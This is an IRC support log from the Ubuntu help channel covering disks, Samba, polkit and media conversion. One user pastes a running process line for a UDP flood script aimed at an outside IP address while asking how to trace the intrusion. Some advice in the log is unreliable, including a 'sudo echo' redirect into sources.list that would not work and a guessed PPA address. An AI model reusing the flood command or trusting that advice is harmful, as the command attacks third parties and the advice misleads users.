[21:50] <Jordan_U> espen__: Yes, though actual hardware problems are much more likely to do so than simply corrupt bits on disk.
[21:50] <rikplay> Jordan_U: i already *have* my "master" setup, i have cloned from one drive to another, perhaps i could clone this to USB, uninstall propriety drivers and off i go?
[21:51] <Mats> Question: I installed ubuntu 12.04 server on a USB drive now when it boots up it cannot find the network, when i restarted the network with "/etc/init.d/networking restart" i get cannot find device eth0/failed to bring up eth0? And when i do 'lspci' the network card is there???? Please help me?
[21:52] <Jordan_U> rikplay: Should probably work, yes. Be careful when "cloning" (if you mean bit for bit copies) that you either change the UUID of any cloned filesystems (and update grub and the fstab accordingly) or make sure that two cloned copies are never connected to the same computer at one time, Universally Unique IDentifiers become problems when they're not Universally Unique :)
[21:52] <espen__> Alright Jordan_U and Kaco, maybe you could help me out. A drive of mine is detected, but im not able to erase it/create partitons on it. Gparted, gets errors just "inspecting" device for partitons. Is it as good as dead? Dban boot cd, is also getting i/o errors.
[21:53] <rikplay> Jordan_U: i have done it before using clonezilla, changed fstab to match etc. i have tried on usb also and it did not work, but im going to put that down to bad experiance and try again. probably something to do with grub
[21:56] <jackbrownhf> Anyone available to help me I have trouble running a program
[21:56] <hip2theehop> go for it
[21:56] <TheLordOfTime> !details | jackbrownhf
[21:57] <sambagirl> it was terminator i forgot to right click to get that menu :)
[21:57] <sambagirl> thanks
[22:00] <Toph2> how do I get some of the compiz effects on gnome3 that were available in earlier versions of gnome?
[22:01] <hip2theehop_> like which effects be a little more specific please
[22:01] <Mats> Question: I installed ubuntu 12.04 server on a USB drive now when it boots up it cannot find the network, when i restarted the network with "/etc/init.d/networking restart" i get cannot find device eth0/failed to bring up eth0? And when i do 'lspci' the network card is there???? Please help me?
[22:01] <Toph2> hip2theehop_,,, well, the rotating cube for example
[22:02] <Jordan_U> Toph2: Are you using Unity or GNOME Shell?
[22:03] <Toph2> jordan,,, Unity
[22:03] <Toph2> Jordan_U,,, Unity
[22:04] <Jordan_U> !ccsm | Toph2
[22:05] <intrin> how should i give my ide permissions to /var/www ? its such a pain to have to  move files from one dir to another
[22:05] <Toph2> Jordan_U,,, great,, thanks
[22:06] <hip2theehop> sorry got disconnected toph2 you get your answer??
[22:06] <espen__> oh, holy #ubuntu channel, grant me a helpful angel that can help me figgure out if a harddrive is on the verge of death.
[22:06] <Toph2> hip2theehop,,, i did, thanks
[22:08] <Jordan_U> espen__: Have you checked the drive's S.M.A.R.T. status? (This can be done through "Disk Utility" (palimpsest) ).
[22:08] <espen__> Yep, i did.
[22:08] <Jordan_U> espen__: And did it report any problems?
[22:09] <espen__> i havent done through disk utility, but speccy and hdtune reports OK.
[22:09] <LucidLuna> @ espen__ what is going on with your hard drive, why do you think it is going to fail?
[22:09] <hip2theehop> espen__ will you please give us more deatils such as what you have tried what you..... and what errors were found if any...
[22:09] <espen__> even though it reports the worst possible values
[22:09] <espen__> I have tried erasing, shredding, dbanning
[22:10] <espen__> i/o error on everything
[22:10] <espen__> the drive is detected in bios and windows(yep.. i know bad)
[22:10] <hip2theehop> have any of the processes ever been interuppted
[22:10] <LucidLuna> for starters i would back up everything :P
[22:10] <espen__> processses? my ubuntu have occasionally freezed up, and fixed partitions every now and then.
[22:11] <espen__> even though its not my OS DRIVE
[22:11] <netmk> are you able to write to it at all (like with 'dd') ?
[22:11] <countley> how do i stop the service apache2 from command line
[22:11] <espen__> no, im not able to even intialize it, (use mbr etc..)
[22:11] <hip2theehop> i am talking more in ref to erasing formating and what not
[22:11] <LucidLuna> service apache2 stop
[22:11] <LucidLuna> or killall -9 apache2
[22:11] <netmk> sounds like it's fried.  does it spin up at least?
[22:12] <espen__> yep it spins
[22:12] <hip2theehop> any ticking
[22:12] <netmk> i mean, even before talking about mbr or partition, if you can't even 'dd' crap on it, that's pretty basic
[22:12] <espen__> while you mention it, i don't think so.
[22:13] <espen__> but, ehm. could this drive cause ubuntu/windows problems, even though its not the OS drive?
[22:13] <espen__> i have had partition problems, on both operating systems.
[22:13] <espen__> just yesterday, ubuntu crashed long list of i/o errors.
[22:14] <InspectorCluseau> espen__, check the drive mfr site for tools
[22:14] <Jordan_U> espen__: Sounds like you should trash it.
[22:15] <espen__> yea, well warranty first.
[22:15] <espen__> its only 3 years old, gonna check mfr site.
[22:19] <TommehM> ALSA keeps killing its self... *gets the logs*
[22:20] <TommehM> http://paste.ubuntu.com/1390292/
[22:23] <tdignan> Ok, stupid question of the day: Where is the "Pictures" folder? The change desktop background dialog that opens when I select "Change Desktop Background" in the root context menu takes me to (surprise) a wallpaper chooser. There is a spinner in the top right that has the following choices: "Wallpapers", "Pictures Folder", and "Colors & Gradients". When I add a wallpaper or more, with the "+" button, they appear in the "Pictures" folder. However, I do not have a 
[22:24] <mickster04> tdignan: /home/username/picture
[22:24] <zoite> TommehM, you say also but you post pulse
[22:24] <zoite> alsa*
[22:24] <tdignan> mickster04: I don't have that directory
[22:25] <tdignan> I tried ~/Pictures ~/pictures and all sorts of permutations of it.
[22:25] <TommehM> zoite, Pulse then.
[22:25] <TommehM> Sound just keeps killing its self.
[22:25] <TommehM> I have tried multiple things
[22:25] <TommehM> None have worked.
[22:26] <tdignan> creating it doesn't work either
[22:26] <tdignan> wallpapers I add are missing after I close the dialog.
[22:26]  * tdignan busts out strace
[22:28] <WXZ> is there a GUI to change screen resolution?
[22:28] <hs366> hi
[22:29] <tdignan> WXZ: gnome-control-center->hardware->displays
[22:29] <WXZ> gnome-control-center?
[22:29] <tdignan> or click the gear
[22:29] <WXZ> tdignan: I'm using lucid lynx, I don't think I have that
[22:29] <hs366> I stock with using SSL connection
[22:30] <tdignan> are you using unity, WXZ? I forget how old lucid is
[22:30] <WXZ> tdignan: or I just don't have the package you have isntalled
[22:30] <tdignan> are you using gnome?
[22:30] <WXZ> tdignan: yes, gnome
[22:30] <tdignan> are you able to run the command 'gnome-control-center'?
[22:30] <hs366> anyone has experience of Xchat and SSL connection ?
[22:30] <juan_> you are using xfce
[22:30] <WXZ> tdignan: YUP
[22:30] <tdignan> is it in there?
[22:31] <WXZ> juan_: yes, I am using xfce
[22:31] <tdignan> Oh, XFCE
[22:31] <tdignan> you might want to use xrandr
[22:31] <zoite> tdignan, maybe /usr/share/backgrounds/ ?
[22:31] <WXZ> tdignan: I was going to, but it's all commandline
[22:31] <tdignan> zoite: i think that definitely explains the "Wallpapers" folder
[22:31] <almoxarife> WXZ: if you hit keys 'alt-f2' does a window open? if so type in 'display' ? does that offer up a settings manager for display?
[22:32] <tdignan> but what of the "Pictures" folder, which mysteriously pulls images that I don't expect to see
[22:32] <tdignan> hmm
[22:32] <tdignan> we will know shortly.
[22:32] <WXZ> almoxarife: ImageMagick
[22:32] <almoxarife> WXZ: not it :)
[22:32] <WXZ> almoxarife: yeah, I didn't think so, lol
[22:33] <almoxarife> WXZ: try 'monitor'
[22:33] <WXZ> almoxarife: nope
[22:33] <WXZ> almoxarife: I can install dmucs though, if that's the package
[22:33] <frfre> Fr a few days now I have been struggling with polkit. I want to enable regular users to mount one of the internal (NTFS) partitions if they please, without the need of authenticating as administrator
[22:33] <almoxarife> WXZ: no idea what 'dmucs' does
[22:34] <frfre> I think I could solve it if I could add a polkit rule somewhere
[22:34] <WXZ> almoxarife: ok, nevermind, that's not it at all
[22:34] <frfre> but I don't know how. In newer versions rules can be placed in /etc/polkit-1/rules.d apparently
[22:34] <zoite> ~/.cache/wallpaper/
[22:35] <Daxter> is there a channel for windows on freenode/
[22:35] <Daxter> curious
[22:35] <almoxarife> Daxter: i hope not, #windoz?
[22:36] <tdignan> zoite: things in strace are being opened by gnome-control-center's wallpaper changer that literally have nothing to do with it, and i can't find any evidence of a real "Pictures" folder
[22:36] <tdignan> do you have a "Pictures" folder by any chance?
[22:37] <tdignan> ok, mystery solved
[22:38] <tdignan> It will display any picture that's in your home directory... perhaps the whole tree
[22:38] <buibex> Daxter: ##windows
[22:38] <Daxter> #windows
[22:38] <Daxter> hmm
[22:39]  * Sm0kEz is Away (sleep) @ 10:39:19pm
[22:39] <joseph_> hey there, anyone up and willing to provide some quick help?
[22:39] <frfre> I think I would need something like http://paste.ubuntu.com/1390336/ to enable the behavior I want
[22:40] <Hasselt> i installed all other desktops and wanted to test them, can not login as root anymore, any idea how to solve this?
[22:40] <joseph_> i'm trying to install ubuntu on my eee pc and was wondering if there was an easy place to get the proper drivers that i need for the netbook.
[22:41] <Daxter> buibex: thx
[22:41] <almoxarife> !eee
[22:41] <joseph_> suhweet. thanks
[22:41] <buibex> Daxter: welcome! that was kind of obvious anyway
[22:41] <Mensch-Maschine> Good evening, everyone
[22:42] <Daxter> well i didnt know the ## part
[22:42] <tdignan> nah, an update: "Pictures Folder" does not look in the "Pictures" folder at all. it looks at ~/*.(jpg|png|foo)
[22:42] <BigC85> Hi I have a Dell xps 13 ultrabook running 12.10.  I have the sputnik ppa add to the system my question do I need the ppa I read that 12.10 incorporated the features of the ppa
[22:43] <countley> lucidluna thanks the answer was in the question lol
[22:44] <LucidLuna> lol :P
[22:44] <Mensch-Maschine> How long should a fsck (ext4, 6TB,  HW raid 0 + a layer LVM) take? Mine has been running for 4 days and is still at 12.2%
[22:44] <frfre> Does anyone know how I can add a rule like http://paste.ubuntu.com/1390336/ to polkit or maybe there is an alternative solution?
[22:45] <frfre> Mensch-Maschine: if it has been at 12.2% for a very long time I would think something is not right
[22:45] <Hasselt> can  not log in as root after installation of other desktops?
[22:45] <Mensch-Maschine> frfre: It was at 12.0 two hours ago
[22:46] <BigC85> Hi I have a Dell xps 13 ultrabook running 12.10.  I have the sputnik ppa add to the system my question do I need the ppa I read that 12.10 incorporated the features of the ppa  does anyone kmow?
[22:47] <Mensch-Maschine> frfre: It *is* running, ~100% CPU
[22:48] <Mensch-Maschine> Oh, I’m running 10.4.2 LTS, by the way
[22:49] <frfre> Mensch-Maschine: sound quite slow for 6TB on your machine, do you expect a lot of errors? What do others think?
[22:50] <fission6> can i start multiple processes with an upstart
[22:52] <Mensch-Maschine> frfre: Well, the box was not properly shut down due to power failure, but nothing was being written at the time
[22:52] <almoxarife> BigC85: did you have to add the ppa to correct what ever was wrong?
[22:53] <frfre> Mensch-Maschine: Are you considering aborting the fsck?
[22:53] <Mensch-Maschine> frfre: However, the box is a file server backup, so it holds lots of hard links (~100) to quite a few files
[22:54] <Mensch-Maschine> frfre: I actually did it once, as it was running at boot the first time and I thought it might have crashed
[22:56] <Guest46168> hola
[22:56] <pallemo> what is the simplest architecture that runs linux?
[22:56] <Guest46168> hello my frend
[22:57] <bekks> pallemo: PPC or ARM.
[22:57] <[D]rammer> Hello
[22:57] <pallemo> thanks bekks
[22:57] <Guest46168> h r u
[22:57] <pallemo> i will look into PPC, haven't heard of it
[22:57] <[D]rammer> Kernel
[22:57] <BigC85> well I just added it during install then I read on Luanchpad that 12.10 added features of the ppa in defualt installation so I guess I'm confused what exactly was ported into 12.10 by the Hardware Enablememt  Team
[22:57] <Guest46168> any body here
[22:58] <BigC85> by default in 12.10 and not by ppa
[22:58] <soman> >>> Hi all. Ubuntu 12.04,  eclipse app doesn't start from side bar only via link. What could be a problem?
[22:59] <soman> I just run Eclipse and fix eclipse icon on side bar
[23:00] <Deathvalley122> hello does anyone know the release date for ubuntu mobile for android phones?
[23:00] <smitty> ARM
[23:01] <frfre> Mensch-Maschine: my guess would be it is best to just let it run, but it will take a lot of time if you extrapolate the current speec
[23:02] <BigC85> almoxarifle well I just added it during install then I read on Luanchpad that 12.10 added features of the ppa in defualt installation so I guess I'm confused what exactly was ported into 12.10 by the Hardware Enablememt  Team by default in 12.10 and not by ppa
[23:02] <frfre> does anyone know how I can get polkit to allow regular users t omount one of the NTFS partitions without interaction?
[23:02] <Mensch-Maschine> frfre: Any idea what the bottleneck is? I’d like to get backup running before two weeks from now
[23:03] <frfre> Mensch-Maschine: no, can't really help you I suppose
[23:04] <Mensch-Maschine> frfre: Cheers
[23:04] <guest-xCIZuE_> hello
[23:06] <guest-xCIZuE__> can only login as guest after installing other desktops
[23:06] <frfre> Can I somehow use a script (or an alternative) for polkit like http://paste.ubuntu.com/1390336/ in ubuntu 12.04?
[23:08] <guest-xCIZuE__> .
[23:08] <guest-xCIZuE__> can not login as root ???
[23:08] <guest-xCIZuE__> password is correct
[23:09] <iceroot> guest-xCIZuE__: root is disabled by default
[23:09] <iceroot> !sudo | guest-xCIZuE__
[23:10] <smitty> i think its generally considered a bad idea to log into an x session as root
[23:10] <trueneu> Don't think, it is a bad idea.
[23:10] <phunyguy_t430s> agreed.
[23:11] <trueneu> It's like, sleeping in your shoes just because you can.
[23:12] <Catbuntu> Hi
[23:12] <BigC85> trueneu lol
[23:12] <Jeremy-USweet> Ello
[23:13] <Jeremy-USweet> Would anybody be able to help me out with setting up Samba?
[23:13] <frfre> Fr a few days now I have been struggling with polkit. I want to enable regular users to mount one of the internal (NTFS) partitions if they please, without the need of authenticating as administrator
[23:13] <frfre> I think I could solve it if I could add a polkit rule somewhere
[23:14] <frfre> but I don't know how. In newer versions rules can be placed in /etc/polkit-1/rules.d apparently
[23:14] <trueneu> Probably. I did it on FreeBSD, but I don't think there are much differences. What's the problem, Jeremy-USweet?
[23:14] <frfre> newer versions of polkit that is
[23:14] <Jeremy-USweet> I've got a share set up, and I can view it on Windows/Mac but I can't get into the folder.
[23:14] <Jeremy-USweet> I'd assume it's a permissions problem, but I'm not sure where to check
[23:15] <py_can> My laptop has a wireless connection. I want to share this connection to my desktop with an internet cable. So from wlan0 -> eth0. Will I need to host my own dhcp server and such or can I use the ubuntu -> preferences -> network connections "share network to users" option on wlan0?
[23:15] <Jeremy-USweet> I've run chmod 755 on the shared directory
[23:15] <frfre> or can i do something with udev rules?
[23:16] <Snicers-Work> I did sudo apt-get install php5-mysql but it isn't showing when I do php -i | grep PDO as a driver. Any ideas?
[23:16] <ice799> hi ubuntu 12.04 rescue mode followed by resume normal boot and ubuntu 10.04 boot just fine, but 12.04 hangs during boot
[23:16] <trueneu> Is that share defined as readable/writable for given samba users in your config, Jeremy-USweet?
[23:16] <Jeremy-USweet> Let me check
[23:16] <ice799> trying to figure out if its possible to get more debug output
[23:17] <trueneu> Could you have forgotten to restart samba service after altering the config file?
[23:17] <Jeremy-USweet> I have restarted the samba daemon after modifying the conf
[23:17] <trueneu> Also check samba logs for error messages, if any, Jeremy-USweet.
[23:18] <Mensch-Maschine> Jeremy-USweet: any *** mask set in smb.conf?
[23:18] <Jeremy-USweet> Will do, trueneu
[23:18] <Jeremy-USweet> I haven't set a mask
[23:18] <Jeremy-USweet> the share is set to 'public = yes'
[23:20] <Jeremy-USweet> Ok
[23:20] <Jeremy-USweet> There's an entry in the log
[23:20] <Jeremy-USweet> It's only 2 lines, is it fine if I dump it in IRC?
[23:20] <latenite> Hi folks, I need some help. I think my box got hacked. How do I get so see the script that is beeing executed?
[23:20] <latenite> andre    18983 95.5  0.3  24640  3112 pts/0    R+   Nov26  30:18 /usr/bin/perl ./udp.pl 178.33.182.1 80 300
[23:21] <trueneu> I have no idea, Jeremy-USweet :) Yeah, I think.
[23:21] <Jeremy-USweet> smbd/service.c:1022(make_connection_snum)   canonicalize_connect_path failed for service share, path /srv/samba/files
[23:21] <Jeremy-USweet> That's the log :P
[23:21] <Cottus> latenite: ./udp.pl is a script
[23:22] <latenite> Cottus, I know I does DoS
[23:22] <trueneu> ls -la /srv/samba/files , Jeremy-USweet
[23:23] <latenite> Cottus, how do I find the location of the script thats beeing executed?
[23:23] <Jeremy-USweet> I might have worked it out
[23:23] <Jeremy-USweet> :P
[23:23] <trueneu> :)
[23:23] <Jeremy-USweet> My directory is /srv/samba/share
[23:23] <trueneu> Hah.
[23:23] <trueneu> That's it.
[23:23] <Jeremy-USweet> But the config file has /srv/samba/files
[23:23] <Jeremy-USweet> Cheers, trueneu
[23:23] <trueneu> Always check the logs, man.
[23:23] <Jeremy-USweet> Haha
[23:23] <Jeremy-USweet> Cheers
[23:28] <trueneu> latenite, you may try pwdx on PID.
[23:29] <roasted> hello!
[23:30] <Sivik_> what is the best way to convert a video from mkv to avi?  the video wikis i'm finding don't work due to incorrect parameters for ubuntu 12.04
[23:30] <LucidLuna> @sivik_ try the programs "mkv2vob" or "handbrake"
[23:30] <trueneu> Or lsof -p PID | less , latenite.
[23:30] <LucidLuna> actually sorry handbrake is for converting into mp4/m4v files
[23:31] <trueneu> Try VLC, Sivik_. It converts everything in nearly everything, AFAIK.
[23:31] <Sivik_> i didn't know vlc would convert crap
[23:32] <trueneu> Oh, it even can broadcast streams.
[23:32] <Cottus> Sivik_: mkv is a package format, one can extract the video
[23:32] <moncapitane> didn't know that
[23:32] <moncapitane> I gotta figure out how to extract it
[23:32] <moncapitane> my tv won't read mkv
[23:32] <almoxarife> !avi
[23:32] <Cottus> hehe
[23:33] <LucidLuna> i usually use handbrake to make an mp4, my playstation (and tv) work well with mp4
[23:33] <Tux_1> avidemux 2.6
[23:33] <LucidLuna> they both have issues with mkv
[23:33] <moncapitane> i wonder if my tv will read a mp4
[23:33] <almoxarife> moncapitane: but will it read a file name with .avi that is actually a .mkv?
[23:33] <roasted> Queston - trying to work out a longish command here to script. I want to find all avi files older than 5 days and delete them. Here's my command: find /media/NAS/archive/videos/*.avi -mtime +5 -exec rm {} \;    am I correct to just have *.avi there in conjunction with the +5 -exec rm?
[23:33] <moncapitane> yea, it reads the videos I have in avi without any isuses.
[23:34] <Sebo> Hi, can you tell me how can I add sun-java6-jre ppa to my ubuntu package lists. I've found this @ launchpad but I do not know how to convert it to be accepted by `apt-add-repository`
[23:34] <Sebo> https://launchpad.net/ubuntu/lucid/+package/sun-java6-jre
[23:35] <Sebo> Could you advice me?
[23:36] <almoxarife> moncapitane: the mkv file is what codec?
[23:36] <trueneu> roasted, find /media/NAS/archive/videos/ -name '*.avi' -mtime +5 exec rm {} \; # if you're not sure, you can always do echo instead of rm.
[23:37] <trueneu> -exec*
[23:37] <LucidLuna> if i recall correctly mkv is usually mp4
[23:37] <LucidLuna> there is an mkv utilities package with the commands "mkvinfo and mkvextract"
[23:37] <trueneu> mkv is a container basically.
[23:37] <almoxarife> moncapitane: do you have a method to connect a pc to the tv?
[23:38] <N1KOL4> x_x;
[23:39] <MeltingPlastic> net
[23:39] <N1KOL4> hey, guys. I realise that this would belong more in the #xubuntu channel, but as people aren't really talking in there... anyone have any idea why my title bar is suddenly missing, in EVERY theme, after trying to change my theme?
[23:39] <Sebo> If I do understand it well what I need is to get the *user_name* and the *repository_name* from this url https://launchpad.net/ubuntu/lucid/+package/sun-java6-jre
[23:40] <N1KOL4> I'm using Xubuntu 12.10.
[23:40] <Sebo> ...but where to find it?
[23:40] <LucidLuna> @n1k0l4 which title bar?
[23:40] <metasansana> So after the last thunderbird update, my master password doesn't work
[23:40] <N1KOL4> on all of my windows, LucidLuna. anything I bring up.
[23:41] <N1KOL4> it has all of the buttons to expand, close, minimise, etc. it's just missing the title part.
[23:41] <rootz> ya.
[23:41] <fishscene> Checking out the remote login abilities: http://www.omgubuntu.co.uk/2012/09/ubuntu-12-10-login-screen-adds-remote-desktop-access I noticed that I only have the option to use "RDP" whereas this article says I should be seeing "RDP", "ICA", and "VMWare View" How do I get the other 2?
[23:41] <N1KOL4> and there are gaps between the buttons as well, actually.
[23:42] <LucidLuna> @ n1k0l4 im not too sure, sorry :(
[23:42] <N1KOL4> it's like the background of the bar is missing? idk. I can click right through it.
[23:42] <rootz> how to i get tf2 to run on wine
[23:42] <MarcN> Does anyone have a recommendation for a bookmark server? I want to run my own private to sync my own bookmarks. firefox integration a plus.
[23:42] <moncapitane> almoxarife, I would rather not as my tv is wifi
[23:42] <N1KOL4> I'm really new to *buntu, so...
[23:42] <trueneu> Sebo, have you tried googling 'add launchpad repository ubuntu' ?
[23:44] <almoxarife> moncapitane: my point is this, you dont need to satisfy the TV if the TV accepts a connection from something that does all the transcoding and serves it up to the TV, say? XBMC, an internal wifi connection  is plenty fast enough to stream
[23:44] <Sebo> trueneu: I just typed `man add-apt-repository` and there is written there that I need the launchpad user name and the repository name. Then I googled for this launchpad url and the 'user repository' keywords... but not found anything that helped.
[23:44] <moncapitane> can you run xbmc in ubuntu?
[23:45] <almoxarife> moncapitane: of course
[23:45] <rootz> N1K0L4 try learning about root or getting a new desktop manger like, Cairo Dock.
[23:45] <almoxarife> moncapitane: there is a distro which is specific even, xbmc-buntu
[23:45] <moncapitane> can xbmc handle mkv?
[23:45] <rootz> hay almoxarife how do you get tf2 to run on wine
[23:45] <almoxarife> moncapitane: of course
[23:45] <moncapitane> kick ass
[23:45] <rootz> hay almoxarife how do you get tf2 to run on wine...
[23:46] <almoxarife> rootz: no idea
[23:46] <N1KOL4> rootz, I'm using Cairo Dock.
[23:46] <N1KOL4> everything has been working until I tried to use a different theme and the title bar vanished.
[23:46] <LucidLuna> @ N1KOL4 have you tried checking your window manager under settings manager ->  (personal) -> window manager ?
[23:47] <rootz> N1K0L4 that just tell's me you know someing so your not new
[23:47] <roasted> trueneu: is that tosay my way was incorrect?
[23:47] <moncapitane> is xbmc a service/daemon?
[23:48] <N1KOL4> rootz, I'm new to xubuntu and also to using Linux anytime recently. I used Ubuntu briefly in 2009, and I have access to Google. everything I know has been from searching Google, though. I've only been playing with Xubuntu since last night.
[23:48] <almoxarife> moncapitane: it is a server if you want, upnp,
[23:48] <Sebo> trueneu: ...and when googling for 'how to add an launchpad repo' it just points me to the add-apt-repository script and how to use it with the ppa:<user>/<repo> address ... And what I need is to get this address from the given URL: https://launchpad.net/ubuntu/lucid/+package/sun-java6-jre
[23:48] <rootz> well i can join eney of 2 chat rooms a. Ubuntu b. deban
[23:49] <almoxarife> moncapitane: if you want into the nitty-gritty of xbmc check out #xbmc
[23:49] <N1KOL4> that said, every variety of googling this issue has given me nothing.

[23:52] <[1]lowkey> rootz i have admin access to the computer bios ect.. i can set it to boot to the usb or dvd / cd, but it doesn't it gives me errors missing NTDLR invalid boot device ect..
[23:52] <Evil_Eric> <----use precise
[23:52] <rootz> lowkey maby you need to get on the system aconut
[23:52] <LucidLuna> whats the difference between ubot93 and ubottu
[23:52] <rootz> ubot93 is a troll :3
[23:52] <Lennie_> Hi, I'm having some problems with MAAS. What is the best place to ask on IRC about MAAS ?
[23:52] <[1]lowkey> i got it to boot the this GNU grub prompt, i just don't know what to do from here.
[23:52] <rootz> ubot93 ibot93
[23:53] <rootz> ubot93 ubot93
[23:53] <rootz> !wiki hi
[23:53] <rootz> ubot93 is boprkan admins
[23:53] <almoxarife> [1]lowkey: how did you install ubuntu?
[23:53] <rootz> u bot93: why can't you wiki color
[23:53] <almoxarife> rootz: give it a rest
[23:53] <TheLordOfTime> rootz, there's no wiki plugin in ubot93, last i checked...
[23:54] <rootz> google plugin?
[23:54] <[1]lowkey> almoxarife, it isn't installed, i installed the grub bootloader via the ubuntu menu from within xp when it was booted up.
[23:54] <rootz> WAIT there is 2 flood bots? not the only bot?
[23:54] <gordonjcp> rootz: if you want to cyber with ubot93 then do it in a /query ;-)
[23:54] <[1]lowkey> almoxarife, it says need help booting to Ubuntu? won't boot to cd, click here to install this
[23:54] <rootz> k
[23:54] <trueneu> what exactly did you enter, roasted?
[23:55] <rootz> wath qyery?
[23:55] <almoxarife> [1]lowkey: what exactly did you use to install ubuntu?
[23:55] <rootz> wath is query
[23:55] <roasted> trueneu: I copied the suggestion you made, which was trying to delete more than the specified parameter (.JPG). I re-ran my command as a test and it worked perfectly.
[23:55] <rootz> i wonder wath is for DINNNNNNNER.
[23:55] <[1]lowkey> almoxarife, now it gives me the windows bootsplash screen with the option to boot Win XP or ubuntu sorta like a wubie install.
[23:56] <roasted> trueneu: find /media/NAS/motion/archive/rear_cam_outside/*.avi -mtime +5 -exec rm {} \;
[23:56] <roasted> that works perfectly
[23:56] <knightrage> hi all. is there any reason to use alsa over pulseaudio or vice versa? im using alsa right now, but i want to stream music from my computer to airtunes, and it seems pulseaudio has very good support for that.
[23:56] <rootz> i tryed to get the aconunt root on IRC when i added IRC to my web site but there is a error whif the acount root.
[23:56] <knightrage> from my computer to airtunes => an airport express via airtunes*
[23:56] <roasted> trueneu: doing the same but with the 'type' = .jpg orwhatever doesn't fly
[23:56] <ikonia> rootz: how is this anything to do with ubuntu ?
[23:57] <[1]lowkey> almoxarife, as i said Ubuntu isn't installed only the loader to help boot to it.
[23:57] <rootz> maby that because linux is being ran on the IRC sever
[23:57] <ikonia> rootz: how is this anything to do with ubuntu ? (not linux,ubuntu)
[23:57] <trueneu> And Sebo, I'm not sure but I'd try sudo echo 'deb http://ppa.launchpad.net/sun-java-6/ubuntu lucid main' >> /etc/apt/sources.list
[23:57] <rootz> it has to do wift the fact i can't be called root
[23:57] <ikonia> rootz: how is this anything to do with ubuntu ? (not linux,ubuntu)
[23:57] <trueneu> roasted, you can't 'type' = .jpg, you can -type f, for example, which means type = file
